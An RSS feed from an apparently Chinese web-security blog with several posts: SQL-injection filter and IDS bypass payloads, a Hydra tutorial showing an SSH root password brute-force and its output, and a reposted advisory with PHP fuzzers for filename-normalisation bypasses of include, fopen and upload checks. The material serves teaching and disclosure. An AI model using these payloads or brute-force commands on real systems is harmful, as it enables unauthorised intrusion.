<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>暖月 &#187; Application Security | 应用安全</title>
	<atom:link href="http://www.nuanyue.com/category/%e7%94%9f%e6%b4%bb%e7%90%90%e7%a2%8e/feed" rel="self" type="application/rss+xml" />
	<link>http://www.nuanyue.com</link>
	<description>专注WEB、Linux及数据库应用安全</description>
	<lastBuildDate>Sun, 01 Aug 2010 01:52:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>绕过防注入的技巧</title>
		<link>http://www.nuanyue.com/%e7%bb%95%e8%bf%87%e9%98%b2%e6%b3%a8%e5%85%a5%e7%9a%84%e6%8a%80%e5%b7%a7.html</link>
		<comments>http://www.nuanyue.com/%e7%bb%95%e8%bf%87%e9%98%b2%e6%b3%a8%e5%85%a5%e7%9a%84%e6%8a%80%e5%b7%a7.html#comments</comments>
		<pubDate>Wed, 02 Sep 2009 08:14:18 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Application Security | 应用安全]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=744</guid>
		<description><![CDATA[<p>1、运用编码技术绕过<br />
如URLEncode编码，ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。</p>
<p>2、通过空格绕过<br />
如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e7%bb%95%e8%bf%87%e9%98%b2%e6%b3%a8%e5%85%a5%e7%9a%84%e6%8a%80%e5%b7%a7.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>1、运用编码技术绕过<br />
如URLEncode编码，ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。</p>
<p>2、通过空格绕过<br />
如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格，如<br />
or&#8217; swords&#8217; =‘swords&#8217;，由于mssql的松散性，我们可以把or &#8216;swords&#8217; 之间的空格去掉，并不影响运行。</p>
<p>3、运用字符串判断代替<br />
用经典的or 1=1判断绕过,如or &#8216;swords&#8217; =&#8217;swords&#8217;，这个方法就是网上在讨论的。</p>
<p>4、通过类型转换修饰符N绕过<br />
可以说这是一个不错的想法，他除了能在某种程度上绕过限制，而且还有别的作用，大家自己好好想想吧。关于利用，如 or &#8216;swords&#8217; = N&#8217; swords&#8217; ，大写的N告诉mssql server 字符串作为nvarchar类型，它起到类型转换的作用，并不影响注射语句本身，但是可以避过基于知识的模式匹配IDS。</p>
<p>5、通过+号拆解字符串绕过<br />
效果值得考证，但毕竟是一种方法。如or &#8216;swords&#8217; =‘sw&#8217; +&#8217; ords&#8217; ；EXEC(‘IN&#8217; +&#8217; SERT INTO &#8216;+&#8217; …..&#8217; )</p>
<p>6、通过LIKE绕过<br />
以前怎么就没想到呢？如or&#8217;swords&#8217; LIKE &#8216;sw&#8217;！！！显然可以很轻松的绕过“=”“>”的限制……</p>
<p>7、通过IN绕过<br />
与上面的LIKE的思路差不多,如or &#8216;swords&#8217; IN (&#8216;swords&#8217;)</p>
<p>8、通过BETWEEN绕过<br />
如or &#8216;swords&#8217; BETWEEN &#8216;rw&#8217; AND &#8216;tw&#8217;</p>
<p>9、通过>或者< 绕过<br />
or 'swords' > &#8216;sw&#8217;<br />
or &#8216;swords&#8217; < &#8216;tw&#8217;<br />
or 1&lt;3<br />
……</p>
<p>10、运用注释语句绕过<br />
用/**/代替空格，如：UNION /**/ Select /**/user，pwd，from tbluser<br />
用/**/分割敏感词，如：U/**/ NION /**/ SE/**/ LECT /**/user，pwd from tbluser</p>
<p>11、用HEX绕过，一般的IDS都无法检测出来<br />
0x730079007300610064006D0069006E00 =hex(sysadmin)<br />
0x640062005F006F0077006E0065007200 =hex(db_owner)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e7%bb%95%e8%bf%87%e9%98%b2%e6%b3%a8%e5%85%a5%e7%9a%84%e6%8a%80%e5%b7%a7.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hydra安装与使用</title>
		<link>http://www.nuanyue.com/hydra%e5%ae%89%e8%a3%85%e4%b8%8e%e4%bd%bf%e7%94%a8.html</link>
		<comments>http://www.nuanyue.com/hydra%e5%ae%89%e8%a3%85%e4%b8%8e%e4%bd%bf%e7%94%a8.html#comments</comments>
		<pubDate>Tue, 04 Aug 2009 14:43:02 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Application Security | 应用安全]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=683</guid>
		<description><![CDATA[<p>Author : Ecore<br />
Date   : 2008/06/15<br />
Website: http://www.ishacker.org</p>
<p>http://www.80sec.org</p>
<p>1.先安装libssh.<br />
[root@localhost ~]# tar -zxvf libssh-0.11.gz<br />
[ro[......]</p><p class='read-more'><a href='http://www.nuanyue.com/hydra%e5%ae%89%e8%a3%85%e4%b8%8e%e4%bd%bf%e7%94%a8.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>Author : Ecore<br />
Date   : 2008/06/15<br />
Website: http://www.ishacker.org</p>
<p>http://www.80sec.org</p>
<p>1.先安装libssh.<br />
[root@localhost ~]# tar -zxvf libssh-0.11.gz<br />
[root@localhost ~]# cd libssh-0.11<br />
[root@localhost ~]# ./configure<br />
[root@localhost ~]# make<br />
[root@localhost ~]# make install</p>
<p>2.到www.thc.org下载最新版hydra并安装</p>
<p>[root@localhost ~]# tar -zxvf hydra-5.4-src.tar.gz<br />
[root@localhost ~]# cd hydra-5.4-src<br />
[root@localhost ~]# ./configure<br />
[root@localhost ~]# make<br />
[root@localhost ~]# make install<br />
[root@localhost ~]# ln -s /usr/local/include/libssh /usr/include/libssh<br />
[root@localhost ~]# ln -s /usr/local/lib/libssh.so /lib/libssh.so</p>
<p>3.使用hydra破解ssh登录密码<br />
[root@localhost ~]# hydra -l root -P ~/passwd.dic 192.168.1.112 ssh2           //使用-o file参数,可以记录日志<br />
Hydra v5.4 (c) 2006 by van Hauser / THC &#8211; use allowed only for legal purposes.<br />
Hydra (http://www.thc.org) starting at 2008-06-15 23:56:43<br />
[DATA] 16 tasks, 1 servers, 106 login tries (l:1/p:106), ~6 tries per task<br />
[DATA] attacking service ssh2 on port 22<br />
[22][ssh2] host: 192.168.1.112   login: root   password: xxxxxxxx<br />
[STATUS] attack finished for 192.168.1.112 (waiting for childs to finish)<br />
Hydra (http://www.thc.org) finished at 2008-06-15 23:57:15<br />
[root@localhost ~]#</p>
<p>===================================================================================================<br />
[root@localhost ~]# hydra<br />
Hydra v5.4 [http://www.thc.org] (c) 2006 by van Hauser / THC <vh @thc.org><br />
语法: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]<br />
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]<br />
server service [OPT]</p>
<p>参数列表:</p>
<p>-R 恢复上次停止的破解进度，继续破解<br />
-S 使用SSL连接<br />
-s PORT   if the service is on a different default port, define it here<br />
-s 端口号 在这里自定义要破解的端口号(替代默认端口)<br />
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE<br />
-l 登录名 或者 -L 字典 使用登录名 或者 从字典中获取登录名单<br />
-p PASS or -P FILE try password PASS, or load several passwords from FILE<br />
-p 密码 或者 -P 字典 使用单个密码 或者 从字典中获取密码列表<br />
-e ns 附加选项,n 是表示空密码,s 尝试使用密码进行破解<br />
-C FILE   colon seperated &#8220;login:pass&#8221; format, instead of -L/-P options<br />
-C 文件   使用冒号分割格式 例如 &#8220;登录名:密码&#8221;来代替-L/-P参数<br />
-M FILE   server list for parallel attacks, one entry per line<br />
-M 文件   服务器列表(译者:ip列表),一行一条<br />
-o FILE   write found login/password pairs to FILE instead of stdout<br />
-o 文件   将找到的密码写在文件里面 以此代替输出到屏幕上<br />
-f 在使用-M参数以后 找到第一对登录名或者密码的时候中止破解<br />
-t TASKS run TASKS number of connects in parallel (default: 16)<br />
-t 计划任务 同时运行几个任务(默认是: 16)<br />
-w TIME   defines the max wait time in seconds for responses (default: 30)<br />
-w 时间 定义超时时间秒数(默认是: 30)<br />
-v / -V 详细显示用户名或者密码的破解过程<br />
server    the target server (use either this OR the -M option)<br />
服务器    服务器目标(译者：就是你要破解密码的主机) (你也可以使用-M参数指定)<br />
service   the service to crack. Supported protocols:<br />
          [telnet ftp pop3 imap smb smbnt http httpshttp-proxy cisco cisco-enable ldap<br />
          mssql mysql nntp vnc socks5 rexec snmp cvs icq pcnfs sapr3 ssh2 smtp-auth]<br />
OPT       some service modules need special input (see README!)<br />
OPT       一些服务模块需要特别的语法输入(详细请看5.特别参数模块)</p>
<p>两个例子:<br />
hydra -l login -P /tmp/passlist 192.168.0.1 ftp<br />
login为要破解的用户名，passlist为密码字典库</p>
<p>hydra -l login -P passfile 192.168.0.1 smb<br />
login为要破解的登录名，passfile为密码字典库，smb操作系统登录密码破解</vh></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/hydra%e5%ae%89%e8%a3%85%e4%b8%8e%e4%bd%bf%e7%94%a8.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP filesystem attack vectors &#8211; Take Two</title>
		<link>http://www.nuanyue.com/php-filesystem-attack-vectors-take-two.html</link>
		<comments>http://www.nuanyue.com/php-filesystem-attack-vectors-take-two.html#comments</comments>
		<pubDate>Thu, 30 Jul 2009 09:29:56 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Application Security | 应用安全]]></category>
		<category><![CDATA[口令破解]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=681</guid>
		<description><![CDATA[<p>Name              PHP filesystem attack vectors &#8211; Take Two<br />
 Systems Affected  PHP and PHP+Suhosin<br />
 Vendor            http://www.php.net/<br />
 Adviso[......]</p><p class='read-more'><a href='http://www.nuanyue.com/php-filesystem-attack-vectors-take-two.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>Name              PHP filesystem attack vectors &#8211; Take Two<br />
 Systems Affected  PHP and PHP+Suhosin<br />
 Vendor            http://www.php.net/<br />
 Advisory          http://www.ush.it/team/ush/hack-phpfs/phpfs_mad_2.txt<br />
 Authors           Giovanni &#8220;evilaliv3&#8243; Pellerano (evilaliv3 AT ush DOT it)<br />
                   Antonio &#8220;s4tan&#8221; Parata (s4tan AT ush DOT it)<br />
                   Francesco &#8220;ascii&#8221; Ongaro (ascii AT ush DOT it)<br />
                   Alessandro &#8220;jekil&#8221; Tanasi (alessandro AT tanasi DOT it)<br />
 Date              20090725</p>
<p>I)    Introduction<br />
II)   PHP arbitrary Local File Inclusion testing<br />
III)  PHP arbitrary Local File Inclusion results<br />
IV)   PHP arbitrary File Open testing<br />
V)    PHP arbitrary File Open results<br />
VI)   PHP arbitrary Remote File Upload testing<br />
VII)  PHP arbitrary Remote File Upload results<br />
VIII) Conclusions<br />
IX)   References</p>
<p>I) Introduction</p>
<p>This is the second part and continuation of our previous &#8220;PHP filesystem<br />
attack vectors&#8221; [1] research.</p>
<p>Working with s4tan and ascii on the &#8220;SugarCRM 5.2.0e Remote Code<br />
Execution&#8221; advisory [2] we noticed a strange behaviour on Windows OS:<br />
trying to upload a file named &#8220;a.php.&#8221; results in just &#8220;a.php&#8221;.</p>
<p>Analyzing this we noticed that every time an application, or manually,<br />
was trying to open or save a file with one ore more dots at the end,<br />
Windows was not denying the operation, but it was removing the dots in a<br />
transparent way.</p>
<p>Mindful readers probably have already spotted the issue.</p>
<p>We wanted to take our time for a deeper investigation about what<br />
normalization issues were available and how to take advantage of them<br />
in order to exploit arbitrary local file inclusion/handling and uploads<br />
functionalities (not only on Windows OS but also on GNU/Linux and *BSD).</p>
<p>Below you can find the sources of two simple &#8220;academic&#8221; fuzzers, later<br />
results are discussed and finally POCs and conclusions are proposed.</p>
<p>II) PHP arbitrary Local File Inclusion testing</p>
<p>This tests include(), include_once(), require(), require_once() and<br />
similiar functions.</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>alfi_fuzzer.php:</p>
<p><?php</p>
<p>error_reporting(0);</p>
<p>$InterestingFile = "test_alfi.php";<br />
$fh = @fopen($InterestingFile, 'w+');<br />
fwrite($fh, "<?php ?>&#8220;);<br />
fclose($fh);</p>
<p>for ($i = 1; $i < 256; $i++) {<br />
 $chri = chr($i);<br />
 for ($j = 0; $j < 256; $j++) {<br />
  $chrj = chr($j);<br />
  for ($k = 0; $k < 256; $k++) {<br />
    $chrk = chr($k);<br />
    if($chri.$chrj.$chrk == '://') continue;<br />
    if ($j == 0) $FuzzyFile = $InterestingFile.$chri;<br />
    else if ($k == 0) $FuzzyFile = $InterestingFile.$chri.$chrj;<br />
    else $FuzzyFile = $InterestingFile.$chri.$chrj.$chrk;<br />
    if(include($FuzzyFile)) {<br />
        print($i." ".$j." ".$k." [".$FuzzyFile."]\n");<br />
        fclose($fh);<br />
    }<br />
    if($j == 0) break;<br />
  }<br />
 }<br />
}</p>
<p>unlink($InterestingFile);</p>
<p>?></p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Note: This code and the one that will be presented in section IV only<br />
makes use of chars from the ASCII extended table (256 chars) to limit the<br />
combinations because our intent was to test not only a malicious ending<br />
char but a whole ending "extension" of 3 bytes.</p>
<p>A better fuzzer would include UTF-8. In the test we also do not<br />
consider \x00, because this vector is already known [3, 4].</p>
<p>III) PHP arbitrary Local File Inclusion results</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>PHP 5.2.10-pl0-Gentoo</p>
<p>PHPFS_MAD2 $ php alfi_fuzzer.php<br />
47 46 46 [test_alfi.php/.]<br />
47 47 47 [test_alfi.php//.]</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27</p>
<p>PHPFS_MAD2 $ php alfi_fuzzer.php</p>
<p>[ NO RESULTS ]</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7</p>
<p>PHPFS_MAD2 $ php alfi_fuzzer.php</p>
<p>[ NO RESULTS ]</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-</p>
<p>PHP 5.3.0 Windows XP (WampServer 2.0i install)</p>
<p>C:\PHPFS_MAD2> php alfi_fuzzer.php<br />
! Valid chars are: \x20 ( ), \x22 (&#8220;), \x2E (.), \x3C (< ), \x3E (>)<br />
! Valid strings are all combinations of the above chars.</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install)</p>
<p>C:\PHPFS_MAD2> php alfi_fuzzer.php<br />
! Valid chars are: \x20 ( ), \x22 (&#8220;), \x2E (.), \x3C (< ), \x3E (>)<br />
! Valid strings are all combinations of the above chars.</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>IV) PHP arbitrary File Open testing</p>
<p>This tests fopen() and similiar functions.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>afo_fuzzer.php:</p>
<p><?php</p>
<p>error_reporting(0);</p>
<p>$MaliciousFile = "test_afo.php";</p>
<p>for ($i = 1; $i < 256; $i++) {<br />
 $chri = chr($i);<br />
 for ($j = 0; $j < 256; $j++) {<br />
  $chrj = chr($j);<br />
  for ($k = 0; $k < 256; $k++) {<br />
    if ($j == 0) $FuzzyFile = $MaliciousFile.$chri;<br />
    else if ($k == 0) $FuzzyFile = $MaliciousFile.$chri.$chrj;<br />
    else $FuzzyFile = $MaliciousFile.$chri.$chrj.chr($k);<br />
    $fh = @fopen($FuzzyFile, 'w+');<br />
    if ($fh != FALSE) {<br />
        fwrite($fh, $FuzzyFile);<br />
        fclose($fh);<br />
        if (file_exists($MaliciousFile)) {<br />
            if ($j == 0) print($i." ");<br />
            else if ($k == 0) print($i." ".$j." ");<br />
            else $FuzzyFile = print($i." ".$j." ".$k." ");<br />
            print("[".file_get_contents($MaliciousFile)."]\n");<br />
            unlink($MaliciousFile);<br />
        } else<br />
            unlink($FuzzyFile);<br />
    }<br />
    if($j == 0)<br />
        break;<br />
  }<br />
 }<br />
}</p>
<p>?></p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>V) PHP arbitrary File Open Fuzzer results</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>PHP 5.2.10-pl0-Gentoo</p>
<p>PHPFS_MAD2 $ php afo_fuzzer.php<br />
47 46 [test_afo.php/.]<br />
47 47 46 [test_afo.php//.]</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27</p>
<p>PHPFS_MAD2 $ php afo_fuzzer.php</p>
<p>[ NO RESULTS ]</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-</p>
<p>PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7</p>
<p>PHPFS_MAD2 $ php afo_fuzzer.php</p>
<p>47 46 [test_afo.php/.]<br />
47 47 46 [test_afo.php//.]</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-</p>
<p>PHP 5.3.0 Windows XP (WampServer 2.0i install)</p>
<p>C:\PHPFS_MAD2> php afo_fuzzer.php</p>
<p>! Valid chars are: \x2E (.), \x2F (/), \x5C (\)<br />
! Valid strings are all combinations of the above chars.</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install)</p>
<p>C:\PHPFS_MAD2> php afo_fuzzer.php</p>
<p>! Valid chars are: \x2E (.), \x2F (/), \x5C (\)<br />
! Valid strings are all combinations of the above chars.</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>VI) PHP arbitrary Remote File Upload testing</p>
<p>This tests move_uploaded_file() and similiar functions.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>upload.php:</p>
<p><?php</p>
<p>error_reporting(0);</p>
<p>$MaliciousFile = "evil.php";</p>
<p>if (isset($_GET['fuzzy'])) {<br />
  $FuzzyDestination = $MaliciousFile.$_GET['fuzzy'];<br />
  move_uploaded_file($_FILES['userfile']['tmp_name'], $FuzzyDestination);<br />
  printf($FuzzyDestination);<br />
  if (file_exists($MaliciousFile)) {<br />
          echo "SUCCESS";<br />
          unlink($MaliciousFile);<br />
          exit();<br />
  } else {<br />
          unlink($FuzzyDestination);<br />
  }<br />
}</p>
<p>echo "FAIL";</p>
<p>?></p>
<p>arfu_fuzzer.sh:</p>
<p>#!/bin/bash</p>
<p>touch &#8220;uploadtest.txt&#8221;<br />
url=&#8221;http://127.0.0.1/uploads/upload.php?fuzzy=&#8221;</p>
<p>for i in {1..255}; do<br />
 xi=&#8221;%`printf %02x $i`&#8221;<br />
 for j in {0..255}; do<br />
  xj=&#8221;%`printf %02x $j`&#8221;<br />
  for k in {0..255}; do<br />
   xk=&#8221;%`printf %02x $k`&#8221;</p>
<p>   ext=&#8221;$xi$xj$xk&#8221;<br />
   [ $k -eq 0 ] &#038;&#038; ext=&#8221;$xi$xj&#8221;<br />
   [ $k -eq 0 ] &#038;&#038; [ $j -eq 0 ] &#038;&#038; ext=&#8221;$xi&#8221;</p>
<p>   response=`curl -kis -F &#8220;userfile=@uploadtest.txt;&#8221; $url$ext | grep \<br />
SUCCESS | wc -l`</p>
<p>   if [ "$response" == "1" ]; then<br />
     echo &#8220;Found: $i $j $k -> ($ext)&#8221;;<br />
   fi</p>
<p>   [ $j -eq 0 ] &#038;&#038; break</p>
<p>  done<br />
 done<br />
done</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>VII) PHP arbitrary Remote File Upload results</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>PHP 5.2.10-pl0-Gentoo</p>
<p>PHPFS_MAD2 $ sh test_arfu.sh</p>
<p>FOUND: 47 0 0 -> (/)<br />
FOUND: 47 46 0 -> (/.)</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27</p>
<p>PHPFS_MAD2 $ sh test_arfu.sh</p>
<p>FOUND: 47 0 0 -> (/)<br />
FOUND: 47 46 0 -> (/.)</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-</p>
<p>PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7</p>
<p>PHPFS_MAD2 $ sh test_arfu.sh</p>
<p>FOUND: 47 46 0 -> (/.)</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-</p>
<p>PHP 5.3.0 Windows XP (WampServer 2.0i install)</p>
<p>PHPFS_MAD2 $ sh test_arfu.sh</p>
<p>[ All the combinations of (space), ., /, \ are valid ones. ]</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install)</p>
<p>PHPFS_MAD2 $ sh test_arfu.sh</p>
<p>[ All the combinations of (space), ., /, \ are valid ones. ]</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>VIII) Conclusions</p>
<p>We found that it's possible to take advantage of filename normalization<br />
routines in order to bypass common web application security routines,<br />
detailed below:</p>
<p>- On GNU/Linux both (include|require)(_once)? functions will convert<br />
  "foo.php" followed by one or more sequences of \x2F (/) and \x2E (.)<br />
  back to "foo.php".<br />
  This does not work if Suhosin patch is applied.</p>
<p>- On GNU/Linux the fopen function will convert "foo.php" followed by one<br />
  or more sequences of \x2F (/) and \x2E (.) back to "foo.php".<br />
  This does not work if Suhosin patch is applied.</p>
<p>- On GNU/Linux move_uploaded_file function will convert "foo.php"<br />
  followed by one or more sequences of \x2F (/) and \x2E (.) back to<br />
  "foo.php".<br />
  This does work anyway *also* if Suhosin patch is applied.</p>
<p>- On FreeBSD the fopen function will convert "foo.php" followed by one<br />
  or more sequences of \x2F (/) and \x2E (.) back to "foo.php".<br />
  This does work anyway *also* if Suhosin patch is applied.<br />
  Suhosin is shipped in the the default install.</p>
<p>- On FreeBSD the move_uploaded_file function will convert "foo.php"<br />
  followed by one or more sequences of \x2F (/) and \x2E (.) back to<br />
  "foo.php".<br />
  This does work anyway *also* if Suhosin patch is applied.<br />
  Suhosin is shipped in the the default install.</p>
<p>- On Windows OS both (include|require)(_once)? functions will convert<br />
  "foo.php" followed by one or more of the chars \x20 ( ), \x22 ("),<br />
  \x2E (.), \x3C (<), \x3E (>) back to &#8220;foo.php&#8221;.</p>
<p>- On Windows OS the fopen function will convert &#8220;foo.php&#8221; followed by<br />
  one or more of the chars \x2E (.), \x2F (/), \x5C (\) back to<br />
  &#8220;foo.php&#8221;.</p>
<p>- On Windows OS move_uploaded_file function will convert &#8220;foo.php&#8221;<br />
  followed by one or more of the chars \x2E (.), \x2F (/), \x5C (\)<br />
  back to &#8220;foo.php&#8221;.</p>
<p>  We have observed that some particular strings like &#8220;foo.php./&#8221; or<br />
  &#8220;foo.php.\&#8221; force Windows to create a file called &#8220;foo.php.&#8221;. It<br />
  seems that Windows&#8217; functions do not contemplate the existence of<br />
  a file with dots at the end (perhaps Windows hackers can better<br />
  comment on this).</p>
<p>  All functions on that file will fail their attempt, so that it&#8217;s not<br />
  possible to easily delete or rename that file (one has to do del *<br />
  or similiar).</p>
<p>IX) References</p>
<p>[1] http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/</p>
<p>http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt</p>
<p>[2] http://www.ush.it/team/ush/hack-sugarcrm_520e/adv.txt<br />
[3] http://www.securiteam.com/securitynews/5FP0C0KJPQ.html<br />
[4] http://ha.ckers.org/blog/20060914/php-vulnerable-to-null-byte-injection/</p>
<p>&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;</p>
<p>Credits (Out of band)</p>
<p>This article has been bought to you by the ush.it team. Giovanni<br />
&#8220;evilaliv3&#8243; Pellerano, Antonio &#8220;s4tan&#8221; Parata and Francesco &#8220;ascii&#8221;<br />
Ongaro are the ones who spent most hours on it with the precious help<br />
of Alessandro &#8220;Jekil&#8221; Tanasi, Florin &#8220;Slippery&#8221; Iamandi and many other<br />
friends.</p>
<p>Giovanni &#8220;evilaliv3&#8243; Pellerano<br />
web site: http://www.ush.it/, http://www.evilaliv3.org/<br />
mail: evilaliv3 AT ush DOT it</p>
<p>Antonio &#8220;s4tan&#8221; Parata<br />
web site: http://www.ush.it/<br />
mail: s4tan AT ush DOT it</p>
<p>Francesco &#8220;ascii&#8221; Ongaro<br />
web site: http://www.ush.it/<br />
mail: ascii AT ush DOT it</p>
<p>Alessandro &#8220;jekil&#8221; Tanasi<br />
web site: http://www.tanasi.it/<br />
mail: alessandro AT tanasi DOT it</p>
<p>&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;</p>
<p>Legal Notices</p>
<p>Copyright (c) 2009 Francesco &#8220;ascii&#8221; Ongaro</p>
<p>Permission is granted for the redistribution of this alert<br />
electronically. It may not be edited in any way without mine express<br />
written consent. If you wish to reprint the whole or any<br />
part of this alert in any other medium other than electronically,<br />
please email me for permission.</p>
<p>Disclaimer: The information in the article is believed to be accurate<br />
at the time of publishing based on currently available information. Use<br />
of the information constitutes acceptance for use in an AS IS condition.<br />
There are no warranties with regard to this information. Neither the<br />
author nor the publisher accepts any liability for any direct, indirect,<br />
or consequential loss or damage arising from use of, or reliance on,<br />
this information.</p>
<p># milw0rm.com [2009-07-28]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/php-filesystem-attack-vectors-take-two.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP filesystem attack vectors</title>
		<link>http://www.nuanyue.com/php-filesystem-attack-vectors.html</link>
		<comments>http://www.nuanyue.com/php-filesystem-attack-vectors.html#comments</comments>
		<pubDate>Thu, 30 Jul 2009 09:29:01 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Application Security | 应用安全]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=679</guid>
		<description><![CDATA[<p> Name              PHP filesystem attack vectors<br />
 Systems Affected  PHP and PHP+Suhosin<br />
 Vendor            http://www.php.net/<br />
 Advisory          http[......]</p><p class='read-more'><a href='http://www.nuanyue.com/php-filesystem-attack-vectors.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p> Name              PHP filesystem attack vectors<br />
 Systems Affected  PHP and PHP+Suhosin<br />
 Vendor            http://www.php.net/<br />
 Advisory          http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt<br />
 Authors           Francesco &#8220;ascii&#8221; Ongaro (ascii AT ush DOT it)<br />
                   Giovanni &#8220;evilaliv3&#8243; Pellerano (giovanni.pellerano AT<br />
                   evilaliv3 DOT org)<br />
 Date              20090207</p>
<p>I)    Introduction<br />
II)   The bugs in 50 words<br />
III)  PHP filesystem functions path normalization attack<br />
IV)   PHP filesystem functions path normalization attack details<br />
V)    PHP filesystem functions path truncation attack<br />
VI)   PHP filesystem functions path truncation attack details<br />
VII)  The facts<br />
